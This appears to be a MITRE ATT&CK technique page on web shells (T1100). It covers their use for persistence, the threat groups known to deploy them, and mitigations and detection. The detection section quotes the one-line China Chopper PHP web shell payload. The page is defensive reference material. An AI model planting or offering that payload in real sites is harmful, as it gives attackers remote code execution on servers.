The sub-techniques beta is now live! Read the release blog post for more info.

Web Shell

A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). [1]

Web shells may serve as Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.

ID: T1100
Tactic: Persistence, Privilege Escalation
Platform: Linux, Windows, macOS
System Requirements: Adversary access to Web server with vulnerability or account to upload and serve the Web shell file.
Effective Permissions: SYSTEM, User
Data Sources: Anti-virus, Authentication logs, File monitoring, Netflow/Enclave netflow, Process monitoring
Version: 1.0
Created: 31 May 2017
Last Modified: 17 July 2019

Procedure Examples

Name Description

APT32 has used Web shells to maintain access to victim websites.[5]


APT39 has installed ANTAK and ASPXSPY web shells.[10]


ASPXSpy is a Web shell. The ASPXTool version used by Threat Group-3390 has been deployed to accessible servers running Internet Information Services (IIS).[3]

China Chopper

China Chopper's server component is a Web Shell payload.[1]

Deep Panda

Deep Panda uses Web shells on publicly accessible Web servers to access victim networks.[9]

Dragonfly 2.0

Dragonfly 2.0 commonly created Web shells on victims' publicly accessible email and web servers, which they used to maintain access to a victim network and download additional malicious files.[7][8]


Leviathan relies on web shells for an initial foothold as well as persistence into the victim's systems.[11]


OilRig has used Web shells, often to maintain access to a victim network.[6][4]


OwaAuth is a Web shell that appears to be exclusively used by Threat Group-3390. It is installed as an ISAPI filter on Exchange servers and shares characteristics with the China Chopper Web shell.[3]


SEASHARPEE is a Web shell.[4]

Soft Cell

Soft Cell used Web shells to persist in victim environments and assist in execution and exfiltration.[14]


TEMP.Veles has planted webshells on Outlook Exchange servers.[12]

Threat Group-3390

Threat Group-3390 has used a variety of Web shells.[13]


Mitigation Description
Privileged Account Management

Audit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network.[2]

Update Software

Ensure that externally facing Web servers are patched regularly to prevent adversary access through Exploitation for Privilege Escalation to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages.


Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: [1]

<?php @eval($_POST['password']);>

Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. [2]